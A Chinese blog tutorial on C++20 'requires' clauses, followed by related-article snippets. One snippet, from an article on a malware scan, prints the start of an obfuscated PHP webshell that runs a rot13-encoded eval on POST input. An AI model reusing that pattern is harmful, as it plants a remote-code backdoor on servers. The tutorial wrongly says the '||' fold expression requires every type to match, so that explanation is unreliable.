C++20之requires

目录

  • 概述
    • requires 基础用法
    • 简单要求:检查成员函数和成员变量
    • 类型要求:检查类型成员和类型兼容性
    • 复合要求:多个约束组合
    • 限制表达式不抛出异常
    • 嵌套要求:细化约束条件
    • 可变参数模板中的 requires
  • 总结与优化

概述

在 C++20 中,requires 关键字是对模板编程能力的显著增强,它通过提供类型约束,帮助开发者在编译期捕捉类型不匹配的问题,而不是依赖运行时错误。requires 可以帮助我们检查某个类型是否满足特定条件,避免了编写错误的模板代码,提升了程序的可读性、可维护性和健壮性。

本文将介绍如何使用 requires 关键字进行模板约束,包括简单要求、类型要求、复合要求、嵌套要求及其在可变参数模板中的应用。我们将逐步展示如何利用这些特性提升代码的类型安全性。

requires 基础用法

requires 用于约束模板参数,它帮助我们在模板代码中明确指定哪些条件需要满足。最常见的应用是验证某个类型是否支持特定的方法或属性。

template <typename M>
requires requires(M m) {m.powerUp();m.powerDown();
}
void startMachine(M m) {m.powerUp();m.powerDown();
}

在这个例子中,requires 关键字表示类型 M 必须具有 powerUp() 和 powerDown() 两个成员函数。如果 M 类型不具备这些函数,编译时就会报错,避免了运行时错误。

简单要求:检查成员函数和成员变量

requires 语句可以用于检查类型是否包含特定的成员函数或变量。这种方式称为 简单要求,它能够非常直接地限制模板参数的类型。

template<typename T>
requires requires(T t) {t.play();t.count;t.age;
}
void playAnimal(T t) {t.play();
}

在这个例子中,requires 语句确保类型 T 必须有 play() 函数、静态成员 count 和成员变量 age。如果 T 类型不符合这些要求,编译会失败。

类型要求:检查类型成员和类型兼容性

除了检查成员函数和变量,requires 还可以用于检查类型的 成员类型 或者 类型兼容性。例如,检查某个类型是否包含特定的 type 成员,或者是否可以用特定的容器(如 std::vector)存储。

template<typename T>
requires requires {typename T::type;typename std::vector<T>;
}
void storeInVector(T t) {std::vector<T> v;v.push_back(t);
}

在这个例子中,requires 语句要求类型 T 必须有一个类型成员 type,并且 std::vector 必须能够正常工作。只有满足这些条件时,才能使用该模板函数。

复合要求:多个约束组合

在某些情况下,我们需要检查多个条件,requires 支持 复合要求,可以组合多个条件进行检查。这些条件可以包括成员函数、成员变量、类型等。

template<typename T>
requires requires(T t) {{ t.powerUp() };{ t.powerDown() };
}
void operateMachine(T t) {t.powerUp();t.powerDown();
}

上面的例子中,requires 语句检查了类型 T 是否具有 powerUp() 和 powerDown() 两个函数。只要满足这两个条件,operateMachine() 函数就可以正常使用。

限制表达式不抛出异常

有时候,我们希望对类型的行为提出更严格的要求,尤其是涉及异常的情况。在这种情况下,可以使用 noexcept 来确保某些操作不会抛出异常。

template<typename T>
requires requires(T a, T b) {{ a = std::move(b) } noexcept;
}
void moveAssign(T& a, T& b) {a = std::move(b);
}

此示例中的 requires 语句确保 a = std::move(b) 操作不会抛出异常。如果类型 T 不支持 noexcept 版本的移动赋值操作,则编译会失败。

嵌套要求:细化约束条件

requires 语句不仅可以在外部进行简单的检查,还可以进行 嵌套要求,用来检查更复杂的条件。例如,我们可以组合多个 requires 语句,通过嵌套的方式进行约束。

template<typename T>
requires requires(T t) {requires sizeof(T) > sizeof(void*);requires std::is_trivial_v<T>;
}
void processTrivialType(T t) {// 处理基本类型
}

在这里,requires 被嵌套使用,确保 T 的大小大于指针类型的大小,并且类型 T 必须是平凡类型。只有满足这两个条件时,processTrivialType 才能工作。

可变参数模板中的 requires

requires 也能应用于 可变参数模板 中。在处理多个类型时,requires 语句可以检查每个类型是否满足某些条件,或者组合所有条件。

template<typename... Ts>
requires (std::is_integral_v<typename Ts::type> || ...)
void checkTypes(Ts... args) {// 处理符合要求的类型
}

此示例中的 requires 语句使用了折叠表达式 (std::is_integral_v || …),确保类型包中的每个类型都满足某些条件。只有当所有类型都符合要求时,模板函数才会被实例化。

总结与优化

C++20 中的 requires 关键字显著提升了模板编程的能力。通过它,开发者可以在编译期对模板参数进行精细的类型检查,而不是依赖运行时错误。通过结合 简单要求、类型要求、复合要求、嵌套要求 等技巧,开发者可以创建更加健壮、类型安全的模板代码。

优化技巧:

  • 简化代码: 使用 requires 来明确限制模板参数类型,使得代码更简洁且易于维护。
  • 编译期检查: 利用 requires 捕获编译时错误,避免了潜在的运行时错误。
  • 组合约束: 通过组合多个约束,能够精细化控制模板的类型要求,提升代码的灵活性和可读性。

C++20 的 requires 关键字是一个强大的工具,能够帮助开发者在模板编程中更好地管理类型约束,提高代码的安全性和可靠性。希望本文能帮助你更好地理解和使用这一新特性,提升你的 C++ 编程水平。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue自定义颜色选择器(重置版)

实现效果 相较于上次发布的颜色选择器&#xff0c;这次加入了圆形的选择器&#xff0c;并且优化了代码。 <SquareColor ref"squareColor" :color"color" change"changeColor1" />setColor1() {// this.color rgba(255, 82, 111, 0.5)thi…

timestamp 时间戳转换成日期的方法 | java.util

时间戳通常是一个long数据&#xff08;注意java中赋值时需要带上L标识是long整型&#xff0c;否则int过长报错&#xff09; 代码实现 常用工具类&#xff1a; java.util.Datejava.time.Instantjava.time.format.DateTimeFormatter toInstant() 方法的功能是将一个 Date 对象…

Minio入门搭建图片服务器

Minio入门搭建图片服务器 闲来无事&#xff0c;之前一直想弄弄图片服务器的软件&#xff0c;搜索了一下有zimg、Nginx、Thumbor、Minio等。想想之前也用过minio&#xff0c;所以就用这个搭建啦。 1. docker安装 docker run -d -p 9000:9000 -p 9001:9001 \ …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

CISC RISC

CISC&#xff1a;设计目标是通过复杂的指令来提高代码密度&#xff0c;减少指令数量&#xff0c;适合内存资源较为有限的系统。CISC处理器的硬件复杂度较高&#xff0c;但在某些应用场合&#xff08;如桌面计算机&#xff09;能够提供足够的性能。 RISC&#xff1a;设计目标是…

使用LSTM神经网络对股票日线行情进行回归训练(Pytorch版)

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;使用LSTM神经网络对股票日线行情进行回归训练&#xff08;Pytorch版&#xff09;-CSDN博客 前言&#xff1a;近期在尝试使用lstm对股票日线数据进行拟合&#xff0c;初见成型但是效果不…

睡岗和玩手机数据集,4653张原始图,支持YOLO,VOC XML,COCO JSON格式的标注

睡岗和玩手机数据集&#xff0c;4653张原始图&#xff0c;支持YOLO&#xff0c;VOC XML&#xff0c;COCO JSON格式的标注 数据集分割 训练组70&#xff05; 3257图片 有效集20&#xff05; 931图片 测试集10&#xff05; 465图片 预处理 没有采用任何预处…

Pandas 索引

在 Pandas 中&#xff0c;索引&#xff08;Index&#xff09;是 DataFrame 和 Series 的核心组成部分&#xff0c;用于标识和访问数据。索引提供了快速、灵活和强大的数据检索方法。以下是关于 Pandas 索引的一些关键点&#xff1a; 1. 创建索引 当创建一个 DataFrame 或 Seri…

labml.ai Deep Learning Paper Implementations (带注释的 PyTorch 版论文实现)

labml.ai Deep Learning Paper Implementations {带注释的 PyTorch 版论文实现} 1. labml.ai2. labml.ai Deep Learning Paper Implementations3. Sampling Techniques for Language Models (语言模型的采样技术)4. Multi-Headed Attention (MHA)References 1. labml.ai https…

使用 Marp 将 Markdown 导出为 PPT 后不可编辑的原因说明及解决方案

Marp 是一个流行的 Markdown 演示文稿工具&#xff0c;能够将 Markdown 文件转换为 PPTX 格式。然而&#xff0c;用户在使用 Marp 导出 PPT 时&#xff0c;可能会遇到以下问题&#xff1a; 导出 PPT 不可直接编辑的原因 根据 Marp GitHub 讨论&#xff0c;Marp 导出的 PPTX 文…

构建一个rust生产应用读书笔记四(实战2)

此门课程学习采用actix-web框架完成一个生产级别的rust应用&#xff0c;在 actix-web 中&#xff0c;Extractors 是一个非常重要的概念&#xff0c;它们用于从传入的 HTTP 请求中提取特定的信息片段。actix-web 提供了多种内置的提取器&#xff0c;以满足常见的使用场景。说白了…

优选生产报工系统:关键选择要素

【优选生产报工系统&#xff1a;数据分析、产品管理与基础数据登录的关键选择要素】 在快速变化的制造业环境中&#xff0c;生产报工系统的重要性不言而喻。它不仅仅是一种记录工时和监控生产进度的工具&#xff0c;更是一种能够实现数据驱动决策、优化产品管理和确保基础数据…

使用Python打造高效的PDF文件管理应用(合并以及分割)

在日常工作和学习中&#xff0c;我们经常需要处理大量PDF文件。手动合并、分割PDF不仅耗时&#xff0c;还容易出错。今天&#xff0c;我们将使用Python的wxPython和PyMuPDF库&#xff0c;开发一个强大且易用的PDF文件管理工具。 C:\pythoncode\new\mergeAndsplitPdf.py 所有代…

【C语言程序设计——入门】C语言程序开发环境(头歌实践教学平台习题)【合集】

目录&#x1f60b; <第1关&#xff1a;程序改错> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第2关&#xff1a;scanf 函数> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第1关&a…

皮肤伤口分割数据集labelme格式248张5类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;284 标注数量(json文件个数)&#xff1a;284 标注类别数&#xff1a;5 标注类别名称:["bruises","burns","cu…

JVM系列之内存区域

每日禅语 有一位年轻和尚&#xff0c;一心求道&#xff0c;多年苦修参禅&#xff0c;但一直没有开悟。有一天&#xff0c;他打听到深山中有一古寺&#xff0c;住持和尚修炼圆通&#xff0c;是得道高僧。于是&#xff0c;年轻和尚打点行装&#xff0c;跋山涉水&#xff0c;千辛万…

大腾智能CAD:国产云原生三维设计新选择

在快速发展的工业设计领域&#xff0c;CAD软件已成为不可或缺的核心工具。它通过强大的建模、分析、优化等功能&#xff0c;不仅显著提升了设计效率与精度&#xff0c;还促进了设计思维的创新与拓展&#xff0c;为产品从概念构想到实体制造的全过程提供了强有力的技术支持。然而…

leetcode 3195.包含所有1的最小矩形面积I

1.题目要求: 2.解题步骤: class Solution { public:int minimumArea(vector<vector<int>>& grid) {//设置二维数组deque<deque<int>> row_distance;for(int i 0;i < grid.size();i){//遍历数组&#xff0c;把每行头部1的小标和尾部1的下标代…

搭建Tomcat(三)---重写service方法

目录 引入 一、在Java中创建一个新的空项目&#xff08;初步搭建&#xff09; 问题&#xff1a; 要求在tomcat软件包下的MyTomcat类中编写main文件&#xff0c;实现在MyTomcat中扫描myweb软件包中的所有Java文件&#xff0c;并返回“WebServlet(url"myFirst")”中…

Linux介绍与安装CentOS 7操作系统

什么是操作系统 操作系统&#xff0c;英⽂名称 Operating System&#xff0c;简称 OS&#xff0c;是计算机系统中必不 可少的基础系统软件&#xff0c;它是 应⽤程序运⾏以及⽤户操作必备的基础环境 ⽀撑&#xff0c;是计算机系统的核⼼。 操作系统的作⽤是管理和控制计算机系…